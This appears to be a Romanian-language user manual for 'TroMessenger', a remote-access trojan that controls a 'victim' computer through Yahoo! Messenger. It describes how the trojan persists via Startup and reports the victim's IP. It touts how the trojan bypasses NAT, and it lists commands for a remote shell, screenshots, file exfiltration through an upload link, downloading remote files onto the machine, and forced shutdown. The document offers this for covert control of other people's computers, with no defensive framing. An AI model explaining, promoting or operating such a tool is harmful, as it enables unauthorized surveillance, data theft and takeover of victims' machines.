|
|
Introducere
Acesta este un trojan pentru controlarea calculatoarelor de la distanta prin Yahoo! Messenger.
Prin intermediul acestui program poti controla orice calculator trimitandu-i mesaj unui robot special Yahoo! Messenger.
E ca si cum i-ai comanda calculatorului ce sa faca.
Cum functioneaza?
Iata cum lucreaza programul:
0) Merge in Startup.
1) Se salveaza in memorie.
2) Asteapta conexiunea la Internet.
3) Cand Conexiunea la Internet este Activata, incearca sa se Conecteze si sa se Logheze la ID-ul Robotului.
4) Trimite un mesaj offline adminului, cand se conecteaza cu succes.
5) Acum poti controla calculatorul victimei tramitand mesaj robotului tau.
Apasa aici sa vezi o imagine a programului
Vizualizeaza o imagine a programului de Editat Serverul
Cerinte de Sistem:
1) Microsoft Windows XP sau Windows Server 2003. Acest program nu este suportat in Windows 2000, Windows Me/98/95 sau Linux.
2) 128MB de RAM (256MB RAM este Recomandat)
3) 700Mhz CPU.
4) 8MB Memorie Placa Grafica.
5) Destul spatiu liber in partitia de Windows. (Pentru salvarea screenshoturilor si fisierelor descarcate)
6) Conexiune Internet. Acest program functioneaza cu orice Conexiune la Internet. Exemplu: Dialup, ADSL, Wireless, Broadband, Satellit, LAN etc.
Acest program functioneaza si in Conexiuni Dialup. Dar din moment ce acest program se conecteaza la Serverele Yahoo! Messenger Servers ca sa logheze ID-ul Robotului, o Conexiune Permanenta la Internet ajuta programul sa mearga mai bine.
Functii Speciale
Nu ai nevoie de adresa IP! Este cea mai mare calitate a acestui program. Cu alti trojani trebuia sa ai adresa IP a calculatorului pe care vroiai sa il controlezi. Dar acest program functioneaza fara adresa IP.
Intrebare - Cum poate sa functioneze acest trojan fara adresa IP?
Raspuns - Pentru ca acest program produce un ID de yahoo! care se comporta ca un robot pentru tine, asa ca nu ai nevoie de adresa IP a calculatorului controlat. Cu toate astea adresa de IP iti va fi trimisa cand calculatorul se conecteaza. Dar acestea sunt doar pentru a cunoaste mai multe informatii despre calculatorul controlat de la distanta si nu are nici un efect asupra activitatii lui TroMessenger.
Functioneaza si in "spatele" Retelelor si a calculatoarelor conectate prin router. O mare problema a altor trojeni, cum ar fi Troya, este ca functioneaza doar pe sisteme cu IP personalizat. Calculatorul tinta trebuie sa aiba Addresa de IP Valida cunoscuta de tine. De exemplu: daca este o retea cu 5 calculatoare si tu faci parte din acea retea te poti conecta la acele calculatoare dar cineva din afara retelei nu se poate conecta calculatoarele din acea retea.deoarece nu are o adresa IP valida. Dar problema este rezolvata in TroMessenger.
Cu TroMessenger, te poti conecta la orice calculator in in orice retea. Doar ca trebuie sa fie conectati la internet iar Serverul TroMessenger sa functioneze pe acel calculator.
Comenzi
In aceasta versiune, sunt niste comezi de baza pentru controlarea calculatoarelor.
Rezultat: Rezultatul executarii unei comenzi va fi trimis imediat dupa terminarea executarii acelei comenzi. Dar daca raspunsul unei comenzi este prea mare (mai mult de 800 caractere), il vei primi in mai multe parti. Asta pentru ca Yahoo! Messenger nu accepta text cu marime mai mare de 800 caractere.
/cmd - Este exact ca MS-DOS Command Prompt. Poti executa o comanda DOS pe calculatorul controlat, si sa vezi rezultatul. Comenzi cum ar fi: DIR , VER , VOL , IPConfig , Netstat , WHOAMI ... si alte comenzi de DOS folositoare.
Exemplu: /cmd dir C:*.txt
Executare Comenzi DOS
Poti executa niste comenzi specifice MS-DOS, ca sa afli mai multe informatii despre PC-ul tinta.
/cmd dir - Pentru a lista fisierele dintr-un folder. Poti folosi parametrii ca sa listezi anumite tipuri de fisiere. De Exemplu: /cmd dir /on , /cmd dir *.txt
/cmd ipconfig - Afla informatiile Conexiuni la Retea. Aceasta comanda este sa afli informatii despre adaptoarele de retea care sunt instalata pe PC-ul tinta. Iti spune numele Adaptorului la Retea, Adresa IP, Gateway-ul, Serverele DNS etc.
/cmd tasklist - Listeaza procesele care ruleaza pe calculator. Este la fel ca Windows Task Manager, dar in modul DOS.
/cmd whoami - Iti spune cum este definit PC-ul tinta in retea. Informatiile returnate: Domain / Workgroup Name , Computer Name and Windows UserName. Nota: Aceasta comanda merge doar in Windows Server 2003. Nu este suportata de Windows XP.
/cmd netstat - Listeaza toate conexiunile Active la Internet pe PC. Sa afli rezultatul rapid, foloseste /cmd netstat -na
Aflarea Informatiilor a Calculatorului:
Utilizand urmatoarele comenzi poti afla informatiile generale despre calculatorul tinta.
/IP - Iti spune Adresa IP a calculatorului tinta. Nota: Un calculator poate avea mai mult de o singura Adresa IP asociata. De Exemplu, ai un Cont Dialup pentru conectarea la internet, si calculatorul este deja conectat la o retea locala (LAN), in acest caz, ai 2 Adrese IP definite in PC. TroMessenger va trimite Toate Adresele IP existente in calculator.
/osname - Iti afisaza versiunea de Windows si Service Packurile instalate. De Exemplu: Windows Server 2003 Service Pack 1.
/computername - Iti afisaza numele calculatorului definit in retea. Alte calculatoare din acea retea va sti acest calculator dupa nume. Daca calculatorul nu este conectat la retea, nu conteaza, numele va fi trimis oricum.
/winusername - Iti afisaza numele userului care este logat, curent, pe calculator. Nota: In Windows XP, pot exista mai multi useri si acest parametru se poae schimba oricand userii se logheaza.
Dar in Windows Server 2003 acest nume este returnat mereu ca Administrator.
/yahooid - Iti afisaza IDul Yahoo al ultimei persoane care a folosit Yahoo! Messenger.
Principalele Functii ale Programului
/Help - Afiseaza o lista cu comenzi posibile in aceasta versiune de TroMessenger. Poate ca vor fi adaugate comenzi noi pe urmatoarea versiune. Vei afla comenzile posibile scriind comanda aceasta.
/screenshot - Afiseaza Poze ale ecranului victimei.
Intrebare - Yahoo! Messenger este program bazat pe scriere, dar cum poate TroMessenger sa imi arate poza ?
Raspuns - TroMessenger iti arata poza indirect. Asta inseamna: face printsceen, face upload la server, si iti da linkul cu poza facuta.
/download - Downloads a file from web and saves it in the specified location at the Remote PC. You will be notified by finishing the download.
Syntax: /download "http://www.hostname.com/folder/file.zip" "C:SavedFile.zip"
Note: You must use Quote Marks (". If you forgot to put quotes, download will not work.
/restart - Restarteaza windowsul calculatorului victima.
Avertizare: Daca vei testa programul pe calculatorul tau, calculatorul se va restarta fara nici o intrebare sau confirmare si toate modificarile facute in program vor fi pierdute, asa ca ai grija cum folosesti comanda. Deasemenea comanda de Shutdown.
/shutdown - Inchide calculatorul controlat. (Se repeta avertizarea)
/time , /date - Arata ora si data.
/ejectcd - Deschide CD-ROM-ul.
/closecd - Inchide CD-ROM-ul.
/view - Arata continutul unor fisiere care contin text. Nota: daca textul este mai mare de ... bytes va fi imapartit in mai multe bucati si vor fi trimise una cate una.
/getfile - uploadeaza un fisier la server si iti da link-ul. Este folosit pentru a downloada orice fisier care nu contine text de pe calculatorul controlat.
/status , /idle , /busy - Schimba statusul robotului in ce vrei tu. Plus folosirea semnului "ocupat".
Exemple de Sintaxe:
/status Acum sunt gata.
/idle Sunt plecat de la PC.
/busy Curent Ocupat.
/cancel - Opreste orice comanda executata. De exemplu daca ai ales sa vezi un fisier de 1M si textul iti este trimis bucata cu bucata tu poti oricand sa opresti operatia si sa nu-ti mai trimita din textul ramas. Foloseste doar comanda /cancel.
/login - Pentru conectarea persoanelor fara admin. De fiecare data cand TroMessenger porneste, daca nu esti adminul robotului dar stii parola ar trebui sa folosesti /login your password ca sa incepi sa folosesti programul. Nu folosi ghilimele pentru parola ta.
|
|
